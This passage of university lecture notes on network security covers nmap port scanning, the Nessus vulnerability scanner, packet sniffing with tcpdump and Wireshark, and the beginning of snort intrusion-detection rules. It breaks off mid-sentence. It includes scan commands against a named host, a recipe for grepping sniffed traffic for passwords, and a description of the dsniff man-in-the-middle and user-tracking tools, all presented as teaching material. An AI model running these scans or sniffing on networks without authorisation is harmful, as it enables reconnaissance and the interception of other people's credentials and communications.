Lecture 23: Port and Vulnerability Scanning, Packet

Sniffing, Intrusion Detection, and Penetration Testing

Lecture Notes on “Computer and Network Security”

by Avi Kak ([email protected])

April 6, 2019
3:33pm

c 2019 Avinash Kak, Purdue University

Goals:
• Port scanners
• The nmap port scanner
• Vulnerability scanners
• The Nessus vulnerability scanner
• Packet sniffers
• Intrusion detection
• The Metasploit Framework
• The Netcat utility
 CONTENTS

Section Title Page

23.1 Port Scanning 3

23.1.1 Port Scanning with Calls to connect() 5

23.1.2 Port Scanning with TCP SYN Packets 7

23.1.3 The nmap Port Scanner 9

23.2 Vulnerability Scanning 15

23.2.1 The Nessus Vulnerability Scanner 16

23.2.2 Installing Nessus 19

23.2.3 About the nessus Client 23

23.3 Packet Sniffing 24

23.3.1 Packet Sniffing with tcpdump 30

23.3.2 Packet Sniffing with wireshark 32

23.4 Intrusion Detection with snort 36

23.5 Penetration Testing and Developing New 45

Exploits with the Metasploit Framework

23.6 The Extremely Versatile Netcat Utility 50

23.7 Homework Problems 58

Computer and Network Security by Avi Kak Lecture 23

23.1: PORT SCANNING

• See Section 21.1 of Lecture 21 for the mapping between the ports
and many of the standard and non-standard services. As men-
tioned there, each service provided by a computer monitors a
specific port for incoming connection requests. There are 65,535
different possible ports on a machine.

• The main goal of port scanning is to find out which ports are
open, which are closed, and which are filtered.

• Looking at your machine from the outside, a given port on your

machine is open only if you are running a server program on the
machine and the port is assigned to the server. If you are not
running any server programs, then, from the outside, no ports
on your machine are open. This could be the case with a brand
new digital device that is not meant to provide any services to
the rest of the world. But, even with a device that was “clean”
originally, should you happen to click accidently on an email
attachment consisting of malware, you could inadvertently end
up installing a small server program in your machine that the
bad guys could use to do their bad deeds.

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• When we say a port is filtered, what we mean is that the packets

passing through that port are subject to the filtering rules of a
firewall.

• If a port on a remote host is open for incoming connection re-

quests and you send it a SYN packet, the remote host will respond
back with a SYN+ACK packet (see Lecture 16 for a discussion
of this).

• If a port on a remote host is closed and your computer sends it

a SYN packet, the remote host will respond back with a RST
packet (see Lecture 16 for a discussion of this).

• Let’s say a port on a remote host is filtered with something like an

iptables based packet filter (see Lecture 18) and your scanner
sends it a SYN packet or an ICMP ping packet, you may not get
back anything at all.

• A frequent goal of port scanning is to find out if a remote host is

providing a service that is vulnerable to buffer overflow attack
(see Lecture 21 for this attack).

• Port scanning may involve all of the 65,535 ports or only the ports
that are well-known to provide services vulnerable to different
security-related exploits.

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23.1.1: Port Scanning with Calls to connect()

• The simplest type of a scan is made with a call to connect().

The manpage for this system call on Unix/Linux systems has the
following prototype for this function:

#include <sys/socket.h>

int connect(int socketfd, const struct sockaddr *address, socklen_t address_len);

where the parameter socketfd is the file descriptor associated

with the internet socket constructed by the client (with a call to
three-argument socket()), the pointer parameter address that
points to a sockaddr structure that contains the IP address of
the remote server, and the parameter address_len that specifies
the length of the structure pointed to by the second argument.

• A call to connect() if successful completes a three-way hand-

shake (that was described in Lecture 16) for a TCP connection
with a server. The header file sys/socket.h includes a number
of definitions of structs needed for socket programming in C.

• When connect() is successful, it returns the integer 0, otherwise

it returns -1.

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• In a typical use of connect() for port scanning, if the connec-

tion succeeds, the port scanner immediately closes the connection
(having ascertained that the port is open).

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23.1.2: Port Scanning with TCP SYN Packets

• Scanning remote hosts with SYN packets is probably the most

popular form of port scanning.

• As discussed at length in Lecture 16 when we talked about SYN

flooding for DoS attacks, if your machine wants to open a TCP
connection with another machine, your machine sends the re-
mote machine a SYN packet. If the remote machine wants to
respond positively to the connection request, it responds back
with a SYN+ACK packet, that must then be acknowledged by
your machine with an ACK packet.

• In a port scan based on SYN packets, the scanner machine sends

out SYN packets to the different ports of a remote machine.
When the scanner machine receives a SYN+ACK packet in re-
turn for a given port, the scanner can be sure that the port on the
remote machine is open. It is the “duty” of a good port-scanner
to immediately send back to the target machine an RST packet
in response to a received SYN+ACK packet so that the half-open
TCP circuit at the target is closed immediately.

• Ordinarily, when a target machines receives a SYN packet for a

closed port, it sends back an RST packet back to the sender.
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• Note that when a target machine is proteced by a packet-level

firewall, it is the firewall rules that decide what the machine’s
response wil be to a received SYN packet.

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23.1.3: The nmap Port Scanner

• nmap stands for “network map”. This open-source scanner, de-

veloped by Fyodor (see http://insecure.org/), is one of the
most popular port scanners for Unix/Linux machines. There is
good documentation on the scanner under the “Reference Guide”
button at http://nmap.org/.

• nmap is actually more than just a port scanner. In addition to

listing the open ports on a network, it also tries to construct an
inventory of all the services running in a network. It also tries to
detect as to which operating system is running on each machine,
etc.

• In addition to carrying out a TCP SYN scan, nmap can also

carry out TCP connect() scans, UDP scans, ICMP scans, etc.
[Regarding UDP scans, note that SYN is a TCP concept, so there is no such thing as a
UDP SYN scan. In a UDP scan, if a UDP packet is sent to a port that is not open, the
remote machine will respond with an ICMP port-unreachable message. So the absence
of a returned message can be construed as a sign of an open UDP port. However, as
you should know from Lecture 18, a packet filtering firewall at a remote machine may
prevent the machine from responding with an ICMP error message even when a port is
closed.]

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• As listed in its manpage, nmap comes with a large number of

options for carrying out different kinds of security scans of a net-
work. In order to give the reader a taste of the possibilities in-
corporated in these options, here is a partial description of the
entries for a few of the options:

-sP : This option, also known as the “ping scanning” option, is for ascertaining as
to which machines are up in a network. Under this option, nmap sends out
ICMP echo request packets to every IP address in a network. Hosts that respond are
up. But this does not always work since many sites now block echo request packets.
To get around this, nmap can also send a TCP ACK packet to (by default) port 80.
If the remote machine responds with a RST back, then that machine is up. Another
possibility is to send the remote machine a SYN packet and wait for an RST or a
SYN/ACK. For root users, nmap uses both the ICMP and ACK techniques
in parallel. For non-root users, only the TCP connect() method is used.

-sV : This is also referred to as “Version Detection”. After nmap figures out which
TCP and/or UDP ports are open, it next tries to figure out what service is actually
running at each of those ports. A file called nmap-services-probes is used to
determine the best probes for detecting various services. In addition to determine
the service protocol (http, ftp, ssh, telnet, etc.), nmap also tries to determine the
application name (such as Apache httpd, ISC bind, Solaris telnetd, etc.), version
number, etc.

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-sT : The “-sT” option carries out a TCP connect() scan. See Section 23.1.1 for
port scanning with calls to connect().

-sU : This option sends a dataless UDP header to every port. As mentioned earlier
in this section, the state of the port is inferred from the ICMP response packet (if
there is such a response at all).

• If nmap is compiled with OpenSSL support, it will connect to SSL

servers to figure out the service listening behind the encryption.

• To carry out a port scan of your own machine, you could try
(called as root)
nmap -sS localhost

The “-sS” option carries out a SYN scan. If you wanted to carry
out an “aggressive” SYN scan of, say, moonshine.ecn.purdue.edu, you
would call as root:
nmap -sS -A moonshine.ecn.purdue.edu

where you can think of the “-A” option as standing for either
“aggressive” or “advanced.” This option enables OS detection,
version scanning, script scanning, and more. [IMPORTANT: If the
target machine has the DenyHosts shield running to ward off the dictionary attacks
(See Lecture 24 for what that means) and you repeatedly scan that machine with
the ’-A’ option turned on, your IP address may become quarantined on the target

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machine (assuming that port 22 is included in the range of the ports scanned). When
that happens, you will not be able to SSH into the target machine. The reason I
mention this is because, when first using nmap, most folks start by scanning the machines
they normally use for everyday work. Should the IP address of your machine become
inadvertently quarantined in an otherwise useful-to-you target machine, you will have
to ask the administrator of the target machine to restore your SSH privileges there.
This would normally require deleting your IP address from six different files that are
maintained by DenyHosts.]

• You can limit the range of ports to scan with the “-p” option, as
in the following call which will cause only the first 1024 ports to
be scanned:
nmap -p 1-1024 -sT moonshine.ecn.purdue.edu

• The larger the number of router/gateway boundaries that need

to be crossed, the less reliable the results returned by nmap. As
an illustration, I rarely get accurate results with nmap when I
am port scanning a Purdue machine from home. [When scanning a
remote machine several hops away, I sometimes get better results with my very simple port scanner

port scan.pl shown in Lecture 16. But, obviously, that scanner comes nowhere close to matching the

amazing capabilities of nmap. ]

• When I invoked nmap on localhost, I got the following result

Starting nmap 3.70 ( http://www.insecure.org/nmap/ ) at 2007-03-14 10:20 EDT
Interesting ports on localhost.localdomain (127.0.0.1):
(The 1648 ports scanned but not shown below are in state: closed)

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PORT STATE SERVICE

22/tcp open ssh
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
465/tcp open smtps
587/tcp open submission
631/tcp open ipp
814/tcp open unknown
953/tcp open rndc
1241/tcp open nessus
3306/tcp open mysql

Nmap run completed -- 1 IP address (1 host up) scanned in 0.381 seconds

• By default, nmap first pings a remote host in a network before

scanning the host. The idea is that if the machine is down, why
waste time by scanning all its ports. But since many sites now
block/filter the ping echo request packets, this strategy may by-
pass machines that may otherwise be up in a network. To change
this behavior, the following sort of a call to nmap may produce
richer results (at the cost of slowing down a scan):
nmap -sS -A -P0 moonshine.ecn.purdue.edu

The ’-P0’ option (the second letter is ’zero’) tells nmap to not
use ping in order to decide whether a machine is up.

• nmap can make a good guess of the OS running on the target

machine by using what’s known as “TCP/IP stack fingerprint-
ing.” It sends out a series of TCP and UDP packets to the target
machine and examines the content of the returned packets for
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the values in the various header fields. These may include the
sequence number field, the initial window size field, etc. Based
on these values, nmap then constructs an OS “signature” of the
target machine and sends it to a database of such signatures to
make a guess about the OS running on the target machine.

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23.2: VULNERABILITY SCANNING

• The terms security scanner, vulnerability scanner, and security

vulnerability scanner all mean roughly the same thing. Any such
“system” may also be called just a scanner in the context of
network security. Vulnerability scanners frequently include port
scanning.

• A vulnerability scanner scans a specified set of ports on a remote

host and tries to test the service offered at each port for its known
vulnerabilities.

• Be forewarned that an aggressive vulnerability scan may crash

the machine you are testing. It is a scanner’s job to connect
to all possible services on all the open ports on a host. By the
very nature of such a scan, a scanner will connect with the ports
and test them out in quick succession. If the TCP engine on the
machine is poorly written, the machine may get overwhelmed by
the network demands created by the scanner and could simply
crash. That’s why many sysadmins carry out security
scans of their networks no more than once a month
or even once a quarter.

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23.2.1: The Nessus Vulnerability Scanner

• According to the very useful web site “Top 125 Network Secu-
rity Tools” (http://sectools.org), the source code for Nes-
sus, which started out as an open-source project, was closed in
2005. Now for commercial applications you have to maintain a
paid subscription to the company Tenable Computer Networks
for the latest vulnerability signatures. However, it is still free for
personal and non-commercial use. [The http://sectools.org website is a very
useful place to visit to get an overview of the most commonly used computer security tools today. This website

is maintained by the same folks who bring you the nmap scanner. ]

• Nessus is a remote security scanner, meaning that it is typically

run on one machine to scan all the services offered by a remote
machine in order to determine whether the latter is safeguarded
against all known security exploits.

• According to the information posted at http://www.nessus.org:

Nessus is the world’s most popular vulnerability scanner that is
used in over 75,000 organizations world-wide.

• The “Nessus” Project was started by Renaud Deraison in 1998.

In 2002, Renaud co-founded Tenable Network Security with Ron
Gula, creator of the Dragon Intrusion Detection System and Jack
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Huffard. Tenable Network Security is the owner, sole developer

and licensor for the Nessus system.

• The Nessus vulnerability scanning system consists of a server and

a client. They can reside in two separate machines.

• The server program is called nessusd. This is the program that

“attacks” other machines in a network. In a standard install of
this software, the server is typically at the path /opt/nessus/sbin/nessusd.

• The client program is called nessus. The client, at the path

/opt/nessus/bin/nessus, orchestrates the server, meaning that it
tells the server as to what forms of attacks to launch and where
to deposit the collected security information. The client packages
different attack scenarios under different names so that you can
use the same attack scenario on different machines or different
attack scenarios on the same machine.

• While the server nessusd runs on a Unix/Linux machine, it is

capable of carrying out a vulnerability scan of machines running
other operating systems.

• The security tests for the Nessus system are written in a special
scripting language called Network Attack Scripting Language

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(NASL). Supposedly, NASL makes it easy to create new security

tests.

• Each security test, written in NASL, consists of an external plu-

gin. There are currently over 70, 000 plugins available. New
plugins are created as new security vulnerabilities are discovered.
The command nessus-update-plugins can automatically up-
date the database of plugins on your computer and do so on a
regular basis.

• The client tells the server as to what category of plugins to use

for the scan.

• Nessus can detect services even when they are running on ports
other than the standard ports. That is, if the HTTP service is
running at a port other than 80 or TELNET is running on a port
other than port 23, Nessus can detect that fact and apply the
applicable tests at those ports.

• Nessus has the ability to test SSLized services such as HTTPS,

SMTPS, IMAPS, etc.

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23.2.2: Installing Nessus

• I went through the following steps to install this tool on my

Ubuntu laptop:

– I downloaded the debian package from the Nessus website and

installed it in my laptop with the following command:
dpkg -i Nessus-5.0.0-ubuntu1010_amd64.deb

When the package is installed, it displays the following mes-

sage
All plugins loaded:
- You can start nessusd by typing /etc/init.d/nessusd start
- Then go to https://pixie:8834/ to configure your scanner

where “pixie” is the name of my laptop. Installation of the

package will deposit all the Nessus related software in the
various subdirectories of the /opt/nessus/ directory. In par-
ticular, all the client commands are placed in the bin subdirec-
tory and all the root-required commands in the sbin directory.
What that implies is that you must include /opt/nessus/bin/
in the pathname for your account and /opt/nessus/sbin/ in
the pathname for the root account. You must also include
/opt/nessus/man/ in your MANPATH to access the documenta-
tion pages for Nessus.

– As root, you can now fire up the nessusd server by executing:

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/etc/init.d/nessusd start

You can see that the Nessus server is up and running by doing
any of the following:
netstat -n | grep tcp
netstat -tap | grep LISTEN
netstat -pltn | grep 8834

Any of these commands will show you that the Nessus server
is running and monitoring port 8834 for scan requests from
Nessus clients.

– Now, in accordance with the message you saw when you in-
stalled the debian package, point your web browser to https://pixie:8834/
(with “pixie” replaced by the name you have given to your ma-
chine) to start up the web based wizard for installing the rest
of the server software (mainly the plugins you need for the
scans) through a feed from http://support.tenable.com . The web-
based wizard will take you directly to this URL after you have
indicated whether you want a home feed or a professional feed.
Go for home feed for now — it’s free. I believe the professional
feed could set you back by around $1500 a year. When you
register your server at the URL, you will receive a feed key
that you must enter in the wizard for the installation to con-
tinue. If you are running a spam filter, make sure that it can
accept email from nessus.org.

– After you have entered the feed key in the install wizard in
your web browser, you will be asked for a username and a pass-
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word in your role as a sysadmin for the Nessus server. (Note

that this is comparable to a root privilege). Should you forget
the password, you can re-create a new sysadmin password by
executing the command ‘/opt/nessus/sbin/nessus-chpasswd admin’
as root.

– After you you have entered the above info, the Nessus server
will download all the plugins. I think there are over 40,000
of these plugins for all sorts of vulnerability scans. Each
plugin is based on a unique vulnerability signature.
Eventually, you will see a screen with the heading ”Nessus
Vulnerability Scanner”. Under the header, you will see a bar
that has ”Listing Scans” on the left and a button for ”New
Scan” on the right. Click on the ”New Scan” button to create
a test scan to play with.

• If you wish to allow multiple clients (who may be on different

hosts in a network) to run scan through your Nessus server, you
can do that by executing the following command as root
nessus-adduser

For further information on this command, do ‘man nessus-adduser’.

You can also remove users (clients) by executing as root the com-
mand ‘nessus-rmuser’.

• By the way, you can update your plugins by executing the com-
mand ‘sudo ./nessus-update-plugins’ in the /opt/nessus/sbin/
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directory. This updating step only works if your server is regis-

tered with http://www.nessus.org/register/.

• You will find all the plugins in the following directory machine
where the server is installed:
/opt/nessus/lib/nessus/plugins/

After you have updated the plugins, you can do ‘ls -last | more’
in the above directory to see what sort of plugins were installed
in the latest update.

• Regarding the speed with which new updates to the

plugins are made available by Nessus: By this time
(meaning, April 9, 2014), most have heard of the “Heartbleed
bug” in OpenSSL that was discovered only two days back. When
I updated the Nessus plugins earlier today, there is already a new
plugin available for testing for this vulnerability. The name of
the plugin is openssl heartbleed.nasl and you can find it
in the /opt/nessus/lib/nessus/plugins/ directory. [In case you do not
know, the Heartbleed bug is caused by improper handling of the Heartbeat Extension packets that allows an

attacker to send specially crafted heartbeat packets to a server. That triggers a buffer over-read through which

an attacker can download 64 kilobytes of process memory with each exchange of the heartbeat message. (See

Section 20.4.4 of Lecture 20 for what I mean by heartbeat messages). In general, this memory will contain the

private keys, the passwords, etc., that have been cached by the server for its interaction with the clients. CVE-

2014-0160 is the official reference to this bug. CVE (Common Vulnerabilities and Exposures) is the Standard

for Information Security Vulnerability Names as maintained by MITRE. ]

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23.2.3: About the Nessus Client

• When you install the debian package as described in the previous

subsection, the web-based install wizard I described there even-
tually takes you to a web based client. Note that it is the client’s
job to tell the server what sort of a vulnerability scan to run on
which machines.

• Nessus also gives you a command-line client in the /opt/nessus/bin

directory. The name of the client is nessus. If you do ‘man nessus’,
you will see examples of how to call the client on a targeted ma-
chine. The vulnerability scan carried out by the command-line
client depend on the information you place in scan config file
whose name carries the .nessus suffix.

• The basic parameters of how the nessus client interacts with

a Nessus server are controlled by the automatically generated
.nessusrc file that is placed in client user’s home directory.

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23.3: PACKET SNIFFING

• A packet sniffer is a passive device (as opposed to a port or vul-

nerability scanners that by their nature are “active” systems).

• Packet sniffers are more formally known as network analyzers

and protocol analyzers.

• The name network analyzer is justified by the fact that you can
use a packet sniffer to localize a problem in a network. As an
example, suppose that a packet sniffer says that the packets are
indeed being put on the wire by the different hosts. If the network
interface on a particular host is not seeing the packets, you can
be a bit more certain that the problem may be with the network
interface in question.

• The name protocol analyzer is justified by the fact that a packet

sniffer can look inside the packets for a given service (especially
the packets exchanged during handshaking and other such negoti-
ations) and make sure that the packet composition is as specified
in the RFC document for that service protocol.

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• What makes packet sniffing such a potent tool is that a majority

of LANs are based on the shared Ethernet notion. In a shared
Ethernet, you can think of all of the computers in a LAN as
being plugged into the same wire (notwithstanding appearances
to the contrary). [Strictly speaking, it is only the hosts that are behind the same switch that
see all packets in their portion of the LAN. See Lecture 16 for the difference between routers, switches, and

] So all the Ethernet interfaces on all the machines

hubs.

that are plugged into the same router will see all the
packets. On wireless LANs, all the interfaces on the
same channel see all the packets meant for all of the
hosts that have signed up for that channel.

• As you’ll recall from Lecture 16, it is the lowest layer of the

TCP/IP protocol stack, the Physical Layer, that actually puts
the information on the wire. What is placed on the wire consists
of data packets called frames. Each Ethernet interface gets a
48-bit address, called the MAC address, that is used to specify
the source address and the destination address in each frame.
Even though each network interface in a LAN sees all the frames,
any given interface normally would not accept a frame unless the
destination MAC address corresponds to the interface. [The acronym
MAC here stands for Media Access Control. Recall that in Lecture 15, we used the same acronym for

Message Authentication Code. ]

• Here is the structure of an Ethernet frame:

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Preamble D-addr S-addr Frame-Type Data CRC

MAC MAC

8 bytes 6 bytes 6 bytes 2 bytes 1500 bytes 4 bytes

<----- Ethernet Frame Header -----> (max)
14 bytes

<---------- maximum of 1514 bytes ---------------->

where “D-addr” stands for destination address and “S-addr” for

source address. The 8-byte “Preamble” field consists of alternat-
ing 1’s and 0’s for the first seven bytes and ’10101011’ for the
last byte; its purpose is to announce the arrival of a new frame
and to enable all receivers in a network to synchronize them-
selves to the incoming frame. The 2-byte “Type” field identifies
the higher-level protocol (e.g., IP or ARP) contained in the data
field. The “Type” field therefore tells us how to interpret the data
field. The last field, the 4-byte CRC (Cyclic Redundancy Check)
provides a mechanism for the detection of errors that might have
occurred during transmission. If an error is detected, the frame is
simply dropped. From the perspective of a packet sniffer, each
Ethernet frame consists of a maximum of 1514 bytes.

• The minimum size of an Ethernet frame is 64 bytes (D-addr: 6

bytes, S-addr: 6 bytes, Frame Type: 2 bytes, Data: 46 bytes,
CRC checksum: 4 bytes). Padding bytes must be added if the
data itself consists of fewer than 46 bytes. The maximum size
is limited to 1518 bytes from the perspective of what’s put on
the wire, since it includes the 4 bytes CRC checksum. From the
perspective of what would be received by an upper level protocol
(say, the IP protocol) at the receiving end, the maximum size is
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limited to 1514 bytes. As you can guess, the number of bytes in

the data field must not exceed 1500 bytes. [In modern Gigabit
networks, a frame size of only 1514 bytes leads to excessively high frame
rates. So there is now the notion of a Jumbo Ehternet Frame for ultrafast
networks.]

• In the OSI model of the TCP/IP protocol stack [see Section 16.2 of
Lecture 16 for the OSI model], it is the Data Link Layer’s job to map the

destination IP address in an outgoing packet to the destination

MAC address and to insert the MAC address in the outgoing
frame. The Physical Layer then puts the frame on the wire. [From
the larger perspective of the internet, hosts are uniquely identified by their IP addresses. How-

ever, at a local level a machine cannot communicate with another machine or a router or a

switch unless it has the MAC address for the destination interface. Coming up with a scalable

and dynamic solution to the problem of how to obtain the MAC address that goes a with a

given IP address that your machine wants to send a packet to was perhaps one of the
greatest engineering accomplishments that ultimately resulted
in the worldwide internet as we know it today. You could ask why
not use the IP addresses directly as MAC addresses for communications in
a local network. That would not be practical since we must allow a host to possess multiple

communication interfaces. If you did not allow for that, how would you get a router to work?

With the clean separation between IP addresses and MAC addresses, a single host with a unique

IP address is allowed to have an arbitrary number of interfaces, each with its own MAC address.

With this separation between the addressing schemes, and with IP addresses representing the

main identity of a host, we are faced with the problem of discovering the MAC address asso-

ciated with an interface for a host with a given IP address. (Obviously, when a host possesses

multiple interfaces, only one can participate in a single LAN.) That’s where the ARP protocol

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Computer and Network Security by Avi Kak Lecture 23

comes in. The next bullet explains briefly what this protocol does. ]

• The Data Link Layer uses a protocol called the Address Resolu-
tion Protocol (ARP) to figure out the destination MAC address
corresponding to the destination IP address. [In Section 9.8.1 of Lecture 9
I showed how ARP packets can be used to crack the encryption key in a locked WiFi.] As a first

step in this protocol, the system looks into the locally available
ARP cache. If no MAC entry is found in this cache, the system
broadcasts an ARP request for the needed MAC address. As this
request propagates outbound toward the destination machine, ei-
ther en-route gateway machine supplies the answer from its own
ARP cache, or, eventually, the destination machine supplies the
answer. The answer received is cached for a maximum of 2 min-
utes. [If you want to see the contents of the ARP cache at any given moment, simply execute the
command “arp -n” or “arp -a” from the command line. The latter version with the “-a” option

also tries to associate symbolic hostnames with the IP addresses. Either version of the command will

show you the IP addresses and the associated MAC addresses currently in the cache. You don’t have

to be root to execute this command. Do man arp on your Ubuntu machine to find out more about the

arp command. By the way, you can yourself flush the ARP cache by executing the command “sudo

ip -s -s neigh flush all”, where the first “-s” is for the verbosity level and the second “-s” for

setting the option “neigh” for neighborhood, and delete a specific entry in the cache with a command

like “sudo arp -d 10.0.0.10” if you wanted to delete the entry for the IP address 10.0.0.10. After

flushing the entire cache or deleting a specific entry, the cache will be refilled with fresh entries as ARP

broadcasts are made in the LAN. People sometimes play with these commands when they

are unable to get one host to communicate directly with another host in the same LAN.

(Let’s say you are working at home and, using the rsync command, you want to transfer

a directory directly from one machine to another.) In most such cases, the problems are

28
Computer and Network Security by Avi Kak Lecture 23

caused more by something having gone awry in the operation of the router than in the

communication interfaces of your machines. In my experience, such problems are best

resolved by simply power cycling the router. ]

• Unless otherwise constrained by the arguments supplied, a packet

sniffer will, in general, accept all of the frames in the LAN regard-
less of the destination MAC addresses in the individual frames.

• When a network interface does not discriminate between the in-

coming frames on the basis of the destination MAC address, we
say the interface is operating in the promiscuous mode. [You
can easily get an interface to work in the promiscuous mode simply by invoking ’sudo ifconfg ethX

promisc’ where ethX stands for the name of the interface (it would be something like eth0, eth1,

wlan0, etc.). ]

• About the power of packet sniffers to “spy” on the users in a

LAN, the dsniff packet sniffer contains the following utilities
that can collect a lot of information on the users in a network

sshmitm : This can launch a man-in-the-middle attack on an SSH link.

(See Lecture 9 for the man-in-the-middle attack). As mentioned ear-
lier, basically the idea is to intercept the public keys being exchanged
between two parties A and B wanting to establish an SSH connection.
The attacker, X, that can eavesdrop on the communication between
A and B with the help of a packet sniffer pretends to be B vis-a-vis
A and A vis-a-vis B.

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Computer and Network Security by Avi Kak Lecture 23

urlsnarf : From the sniffed packets, this utility extracts the URL’s of all
the web sites that the network users are visiting.

mailsnarf: This utility can track all the emails that the network users
are receiving.

webspy : This utility can track a designated user’s web surfing pattern
in real-time.

and a few others

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Computer and Network Security by Avi Kak Lecture 23

23.3.1: Packet Sniffing with tcpdump

• This is an open-source packet sniffer that comes bundled with all

Linux distributions.

• You saw many examples in Lectures 16 and 17 where I used

tcpdump to give demonstrations regarding the various aspects
of TCP/IP and DNS. The notes for those lectures include ex-
planations for the more commonly used command-line options
for tcpdump.

• tcpdump uses the pcap API (in the form of the libpcap library)
for packet capturing. (The Windows equivalent of libpcap is
WinCap.)

• Check the pcap manpage in your Linux installation for more

information about pcap. You will be surprised by how easy
it is to create your own network analyzer with the pcap packet
capture library.

• Here is an example of how tcpdump could be used on your Linux

laptop:

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Computer and Network Security by Avi Kak Lecture 23

– First create a file for dumping all of the information that will
be produced by tcpdump:
touch tcpdumpfile
chmod 600 tcpdumpfile

where I have also made it inaccessible to all except myself as

root.

– Now invoke tcpdump:

sudo tcpdump > tcpdumpfile

This is where tcpdump begins to do its work. It will will print

out a message saying as to which interface it is listening to.

– After you have collected data for a while, invoke

sudo strings tcpdumpfile | more

This will print out all the strings, meaning sequences of charac-
ters delimited by nonprintable characters, in the tcpdumpfile.
The function strings is in the binutils package.

– For example, if you wanted to see your password in the dump

file, you could invoke:
strings tcpdumpfile | grep -i password

– Hit <ctrl-c> in the terminal window in which you started

tcpdump to stop packet sniffing.

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Computer and Network Security by Avi Kak Lecture 23

23.3.2: Packet Sniffing with wireshark (formerly

ethereal)

• Wireshark is a packet sniffer that, as far as packet sniffing is

concerned, works in basically the same manner as tcpdump. (It
also uses the pcap library.) What makes wireshark special is
its GUI front end that makes it extremely easy to analyze the
packets.

• As you play with Wireshark, you will soon realize the importance
of a GUI based interface for understanding the packets and ana-
lyzing their content in your network. To cite just one example of
the ease made possible by the GUI frontend, suppose you have
located a suspicious packet and now you want to look at the rest
of the packets in just that TCP stream. With Wireshark, all you
have to do is to click on that packet and turn on “follow TCP
stream feature”. Subsequently, you will only see the packets in
that stream. The packets you will see will include resend packets
and ICMP error message packets relevant to that stream.

• With a standard install of the packages, you can bring up the

wireshark GUI by just entering wireshark in the command line.
While you can call wireshark in a command line with a large
number of options to customize its behavior, it is better to use
the GUI itself for that purpose. So call wireshark without any
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Computer and Network Security by Avi Kak Lecture 23

options. [If you are overwhelmed by the number of packets you see in
the main window, enter something like http in the “Filter” text window just
below the top-level icons. Subsequently, you will only see the http packets.
By filtering out the packets you do not wish to see, it is easier to make sense
of what is going on.]

• The wireshark user’s manual (HTML) is readily accessible through

the “Help” menu button at the top of the GUI.

• To get started with sniffing, you could start by clicking on “cap-

ture”. This will bring up a dialog window that will show all of
the network interfaces on your machine. Click on “Start” for the
interface you want to sniff on. Actually, instead click on the “Op-
tions” for the interface and click on “Start” through the resulting
dialog window where you can name the file in which the packets
will be dumped.

• You can stop sniffing at any time by clicking on the second-row

icon with a little red ’x’ on it.

• Wireshark understand 837 different protocols. You can see the

list under “Help” menu button. It is instructive to scroll down
this list if only to get a sense of how varied and diverse the world
internet communications has become.

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Computer and Network Security by Avi Kak Lecture 23

• Wireshark gives you three views of each packet:

– A one line summary that looks like

Packet Time Source Destination Protocol Info

Number
------------------------------------------------------------------

1 1.018394 128.46.144.10 192.168.1.100 TCP SSH > 33824 [RST,ACK] ..

– A display in the middle part of the GUI showing further details

on the packet selected. Suppose I select the above packet by
clicking on it, I could see something like the following in this
“details” display:
Frame 1 (54 bytes on the wire, 54 bytes captured)
Ethernet II, Src: Cisco-Li_6f:a8:db (00:18:39:6f:a8:db), Dst: ...........
Internet Protocol: Src: 128.46.144.10 (128.46.144.10) Dst: .......
Transmission Control Protocol: Src Port: ssh (22), Dst Port: 33824 ....

– The lowest part of the GUI shows the hexdump for the packet.

• Note that wireshark will set the local Ethernet interface to promis-
cuous mode so that it can see all the Ethernet frames.

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Computer and Network Security by Avi Kak Lecture 23

23.4: INTRUSION DETECTION WITH

snort

• You can think of an intrusion detector as a packet sniffer on

steroids.

• While being a passive capturer of the packets in a LAN just like

a regular packet sniffer, an intrusion detector can bring to bear
on the packets some fairly complex logic to decide whether an
intrusion has taken place.

• One of the best known intrusion detectors is snort. By examin-

ing all the packets in a network and applying appropriate rulesets
to them, it can do a good job of detecting intrusions. [snort does every-
thing that tcpdump does plus more.] Like tcpdump, snort is an open-source
command-line tool.

• What makes snort a popular choice is its easy-to-learn and easy-

to-use rule language for intrusion detection. Just to get an idea of
the range of attacks that people have written intrusion-detection

36
Computer and Network Security by Avi Kak Lecture 23

rules for, here are the names of the rule files in /etc/snort/rules di-
rectory on my Ubuntu machine:
backdoor.rules community-web-iis.rules pop2.rules
bad-traffic.rules community-web-misc.rules pop3.rules
chat.rules community-web-php.rules porn.rules
community-bot.rules ddos.rules rpc.rules
community-deleted.rules deleted.rules rservices.rules
community-dos.rules dns.rules scan.rules
community-exploit.rules dos.rules shellcode.rules
community-ftp.rules experimental.rules smtp.rules
community-game.rules exploit.rules snmp.rules
community-icmp.rules finger.rules sql.rules
community-imap.rules ftp.rules telnet.rules
community-inappropriate.rules icmp-info.rules tftp.rules
community-mail-client.rules icmp.rules virus.rules
community-misc.rules imap.rules web-attacks.rules
community-nntp.rules info.rules web-cgi.rules
community-oracle.rules local.rules web-client.rules
community-policy.rules misc.rules web-coldfusion.rules
community-sip.rules multimedia.rules web-frontpage.rules
community-smtp.rules mysql.rules web-iis.rules
community-sql-injection.rules netbios.rules web-misc.rules
community-virus.rules nntp.rules web-php.rules
community-web-attacks.rules oracle.rules x11.rules
community-web-cgi.rules other-ids.rules
community-web-client.rules p2p.rules

• To give you a taste of the rule syntax, here is a simple rule:

alert tcp any any -> 192.168.1.0/24 80 (content:"|A1 CC 35 87|"; msg:"accessing port 80 on local")

where the keyword alert is the action part of the rule, the
keyword tcp the protocol part, the string any any the source
address and the source port, the string -> the direction operator,
and the string 192.168.1.0/24 80 the destination address and
port . These five parts constitute the rule header. What comes
after that inside ’()’ is the rule body.
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Computer and Network Security by Avi Kak Lecture 23

• To understand the header better, the string any any when

used as the source means “from any IP address and from any
source port.” The portion 192.168.1.0/24 of the destination
part means a Class C private network with its first 24 bits fixed
as specified by the first three decimal numbers in the decimal-dot
notation. The portion 80 specifies the destination port. The
direction operator can be either -> or <- or <>, the last for
packets going in either direction.

• It is the body of a rule that takes some time getting used to.
Remember, the body is whatever is between the parentheses ‘(’
and ‘)’.

• The body consists of a sequence of rule options separated by ‘;’.

A couple of the more frequently used options are: (1) the payload
detection option, and (2) the metadata option. The purpose
of the payload detection option is to establish a criterion for
triggering the rule. The purpose of the metadata option is to
convey some useful information back to the human operator.

• Each option in the body of a rule begins with a keyword followed

by a colon.

• Some of the more commonly used keywords for the payload de-
tection option are: content that looks for a string of bytes in
the packet payload, nocase that makes payload detection case
